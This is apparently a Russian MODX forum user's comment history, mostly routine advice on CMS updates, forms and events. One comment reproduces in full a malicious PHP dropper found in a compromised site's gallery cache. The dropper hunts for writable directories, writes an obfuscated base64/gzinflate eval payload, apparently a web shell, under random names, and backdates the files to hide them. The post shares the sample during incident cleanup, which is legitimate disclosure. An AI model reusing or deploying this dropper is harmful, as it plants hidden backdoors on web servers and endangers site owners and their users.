Антон Тарасов

Антон Тарасов

С нами с 25 июля 2014; Место в рейтинге пользователей: #60
Антон Тарасов
26 июля 2018, 17:51
0
Вот еще красавчик в assets/components/gallery/cache/hello_http.bbe7d149209507bbcc2c36656f473cfb.php:

<?php
if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

function generateRandomString($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString . ".php";
}

$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1tK3FCc0FaRm95Y09CNjc0OG1NU3BjL2hHU05ZanRTWTlBY2tmR2JLc1FZWnFweEtySEY2NzR1ZXo1Y1h2MzZsRHNCeUlhTFJPYU9ZREdqd3AzV2g3bVlRUm0rWHdTVlJPcnlLVk5jeUtkL0w2ZXFsdFhtbHNKeGVaVnpMSTIrbXI0Mi9YdzZaMDY4R1BvOGp2SGRha1lzakR6V2tRSHhQRG9NQlUyWVl1Y2lYR011L0xWdkRIRnBOQXB4dzlyQ0dUN285a21USHlGQlBMWWgxL3YxQzdxV202VnlzNDFjM2hheXU2dWlCTHpkaHRtODNmNTA1SnJzUG1HQmROaUpxS0ErN0EvRktDTzdiZkk3SFhtZER1VlUzelpuZDNvbE85VGhLSS9zNjc0M2NxV21XOTVYeDRMS3hZZGNzVlNaVWJEdXVJZXI5Tm8xdU56alc0OC9CQWRscWx2VjZzUFIyaWpjWkx5bWNSRzlNWlcwWGpHVDJjejY3NGFUV2NnbWZEYUs0bkEwR3pOTjE4bGdRQ29hbnEvdXAwTFFqNjFjRlpJUGhyT2tJaGF2ZUpJV2hid0M4SmVXMGNYR0l3M2UrRjZ4R2xRcXF5aXRRbTYxYUtuZEFYZ1NUYU1sNjc0K2tPZUE0ZXIrR2FzZC9kTXpRRmtMblRVSjZtZ2xPUC95a0xnaFJVVWFvMjc5b25wdktKSVJDRmtJeTB1NWZRNWpLSzNlTmszK1p2dFJZVVMxdHpSQk9LRFRWbkgydlBnSk5Gc1BVMWRnVmpRYUdZNUNnS0IxQkZ0VUlXN3c0Njc0NVVHNjc0TjVtaWloVERGTmFqVXNRMnNsOG80ZnVLemFoU21qZTI5c0F0bnhrOGlCYUp3cmZoWWp4bUlpdXRtK0ZrNkcxU3U3aitlMGJuYysvL0FPR0JXZnEyT3FTSHNaNTgyaVhDWGcrREI3aGY0ZjRPOXk2NzQ2NzR1cmcvb1FRUS9EZExiTkJnZ3dQaUhRSkM4SUhPa0ZpQURkaGdBRzY3NEFZZ0JqQUdRQVpRQm1ISmFZVEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7";
$payload_name = "";

srand(time());

/////////////////////////////////////////////////////////
function comparer($a, $b)
{
    return strlen($a)-strlen($b);
}

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function GetPathDiff($base_path, $full_path)
{
    $pos = strpos($full_path, $base_path);

    if ($pos === FALSE)
    {
        return FALSE;
    }

    return substr($full_path, $pos + strlen($base_path));
}

function GetWritableDirs()
{
    $res = Array();

    $analysys_queue = Array();

    $analysys_queue[] = GetDocRoot();

    $self_path = $_SERVER['SCRIPT_FILENAME'];
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
    {
        $self_path = substr($self_path, 0, $slash);

        if ($self_path == GetDocRoot())
        {
            break;
        }

        if (strlen($self_path))
        {
            $analysys_queue[] = $self_path;
        }
    }

    foreach ($analysys_queue as $current_dir)
    {
        if (!in_array($current_dir, $res))
        {
            $res = array_merge($res, GetDirectoryList($current_dir));
        }
    }
    $res = array_merge($analysys_queue, $res);

    return CheckWritable(array_unique($res));
}

function CheckWritable($dir_list)
{
    $dir_list_writable = Array();

    foreach ($dir_list as $dir)
    {
        if (@is_writable($dir) == TRUE)
        {
            $dir_list_writable[] = $dir;
        }
    }

    return $dir_list_writable;
}

function GetDirectoryList($dir, $depth=1000)
{

    $result = array();
    $dir_count = 0;

    if ($depth == 0)
    {
        return $result;
    }

    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
    $h = @opendir($dir);
    if ($h === FALSE)
    {
        return $result;
    }

    while (($f = readdir($h)) !== FALSE)
    {
        if ($f !== '.' and $f !== '..')
        {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir))
            {
                $dir_count += 1;

                if ($dir_count >= $depth)
                {
                    break;
                }

                $result[] = $current_dir;
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
            }
        }
    }

    closedir($h);

    return $result;
}

function GetDocRoot()
{
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE)
    {
        return $_SERVER['DOCUMENT_ROOT'];
    }
    elseif ($docroot_end === 0)
    {
        return "/";
    }
    else
    {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}

function GetPayload($payload)
{
    $current_payload = base64_decode($payload);

    return $current_payload;
}

function WritePayload($path, $payload)
{
    if (!file_exists($path))
    {
        if (file_put_contents($path, GetPayload($payload)) != FALSE)
        {
            return TRUE;
        }

    }

    return FALSE;
}

////////////////////////////////////////////////////////////////////////////////////////////

# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();

if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
    if (!($base_local_path_time = @stat($base_local_path."/index.php")))
    {
        if (!($base_local_path_time = @stat($base_local_path."/index.html")))
        {
            if (!($base_local_path_time = @stat($base_local_path."/..")))
            {
                if (!($base_local_path_time = @stat($base_local_path)))
                {
                    $base_local_path_time = Array();
                    $base_local_path_time['mtime'] = time();
                }
            }
        }
    }
}

$base_local_path_time = $base_local_path_time['mtime'];

$dir_list_writable = GetWritableDirs();

if (count($dir_list_writable) == 0)
{
    echo "URL#STATUS_UNWRITABLE";
    exit();
}

usort($dir_list_writable, 'comparer'); # sort directory by len

$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0,sizeof($dir_list_writable))];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir)
{
    // if payload name is set, no more one try to upload on current dir
    //for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0)
        {
            $temp_payload_name = generateRandomString();
        }
        else
        {
            $temp_payload_name = $payload_name;
        }

        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;

        $uri_path = GetPathDiff($base_local_path, $full_payload_name);
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);

        if (WritePayload($full_payload_name, $payload_file))
        {
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder

            echo "URL#http://" . $full_uri . PHP_EOL;
            $good=TRUE;
            $good_counter++;
            if ($good_counter >1)
            {
                exit();
            }
        }
    }
}
if(!$good)
    echo "URL#STATUS_CANTUPLOAD";
exit();
Антон Тарасов
26 июля 2018, 09:55
0
А не является ли белая админка следствием неполного восстановления? Не проверяли файлы, остались ли артефакты? Достаточно старый бекап брали, или как восстанавливали? Консолью смотрели, есть ли ошибки в админке? Может что-нибудь в core/cache/logs/error.log?

Серверные требования можно посмотреть здесь: https://docs.modx.com/revolution/2.x/getting-started/server-requirements
Коли у вас белая админка, то наверное проще всего создать php файл и вызвать его, там узнаете версию PHP:

<?php
phpinfo();
?>
Антон Тарасов
25 июля 2018, 18:34
0
К вам не напишешь в ЛС, недоступно, лучше уж вы))
Антон Тарасов
25 июля 2018, 13:38
1
0
вы существующие решения видели, не подходят?
от Ильи Уткина
от Сергея Кудашева
Антон Тарасов
24 июля 2018, 17:36
+1
Евгений, а вы уже применили обновления? Это must конечно. 2.6.5 + обновление галереи, если есть + закрытие отдельных директорий авторизацией + меняйте пароли. Почитайте выше, все рецепты и отзывы уже дали. Я уже с десяток сайтов обновил по этому принципу, проникновений пока не видел.
Антон Тарасов
24 июля 2018, 12:39
0
Отличный инструмент по ссылке, спасибо, Алексей!
Антон Тарасов
24 июля 2018, 11:23
0
Под инкогнито кеш чистили? Сбрасывали пользовательские сессии?
С правами доступа что-то делали? Предварительно сайт не обновляли?
Антон Тарасов
23 июля 2018, 21:40
0
Хорошо бы больше подробностей.

В дальнейшем при отправке формы, в письме мы получаем [[+сlientEmail ]], если же заполняем руками, то все приходит как нужно.
Вот где-то тут собака зарыта. Тема про обработку динамических значений, как именно обрабатываете и кладете в поле, можно код пожалуйста?
Далее, какой вызов Formit, как отправляете, валидируете, хуки, иные параметры, вот это все.
И наконец, какой чанк для письма результата, что в нем?!
Антон Тарасов
23 июля 2018, 17:51
0
Здравствуйте,
попробую поискать, делал такое решение.
Антон Тарасов
22 июля 2018, 20:29
+2
Виталий, спасибо за предстоящее мероприятие и ваши труды, обязательно буду!

Как вам сайт?
Он чудесен, отметил лишь три нюанса: 1) скорость загрузки, 2)некликабельность почты и 3) русское описание для страницы заказа билетов для наших иностранных друзей.





P.S. 4-й нюанс: анкета докладчика пока тоже только русскоязычна
Антон Тарасов
22 июля 2018, 19:03
+1
Фарит, вот тут посмотрите ссылки с описанием того, что переименовывать и как: https://modx.pro/help/15964
Антон Тарасов
21 июля 2018, 12:54
0
А, ну супер, у меня был трабл с конфигом, но тоже все решилось быстро.
Рад за вас))
Антон Тарасов
21 июля 2018, 12:47
0
Смотрите, там история такая — если путь к core неверный, он вам при обновлении об этом напомнит, не пустит дальше. Поэтому алгоритм такой:
1. Заменяете файлы в вашем новом core тем, что возьмете в архиве
2. копируете setup как есть
3. Запускаете /setup/
4. Вспомнил, где он на самом деле ругается, что надо править(а остальные-то конфиги у вас все верно настроены, иначе бы MODX не работал, так что их оставляйте как есть), какой-то конфиг в setup, вот только сейчас не помню, какой именно, извините(((

Ну вы запустите setup, он вам все и скажет.И путь кажется даже даст.
Антон Тарасов
21 июля 2018, 12:02
0
Добрый день, Игорь!

Все необходимое можно почерпнуть вот здесь
Также была эта же переведенная статья здесь в заметках на modx.pro, сейчас поищу, видел недавно.
Сразу скажу, core из дистрибутива переименовывать надо, так как названо теперь у вас. И еще в конфигах должен быть правильный путь к новому core. Setup оставляете как обычно, других папок в архиве нет(во всяком случае в 2.6.5 pl-advanced)
Антон Тарасов
13 июля 2018, 12:11
0
Вот тут много полезного: modx.pro/help/8062
Антон Тарасов
12 июля 2018, 16:37
+1
Здорово вам там, был в рамках MODXpo2017 впервые в Минске, гостепреимно, душевно, хмельно))

Иван, мой небольшой камешек в огород верстки письма, пришедшего по поводу митапа. Так видит Mozilla Thunderbird


Салатовым отмечено кликабельное, красным — неклибельное, оранжевым — некликабельное, но которое так хочется кликнуть :)

Да, и тема отсутствовала.

P.S. Заметил, что и в поле To тоже не мой email указан.

P.P.S. В Gmail ссылки на гуглоформы появляются, но с остальным вопросы остаются.


Надеюсь будет полезным.
Антон Тарасов
12 июля 2018, 16:23
0
Сuriosity, а какая у вас версия MODX? помнится для 2.x был такой баг про спецсимволы… полюбопытствую его участь.
Антон Тарасов
12 июля 2018, 16:19
0
Все вы верно говорите, не туда смотрел. Открещиваюсь.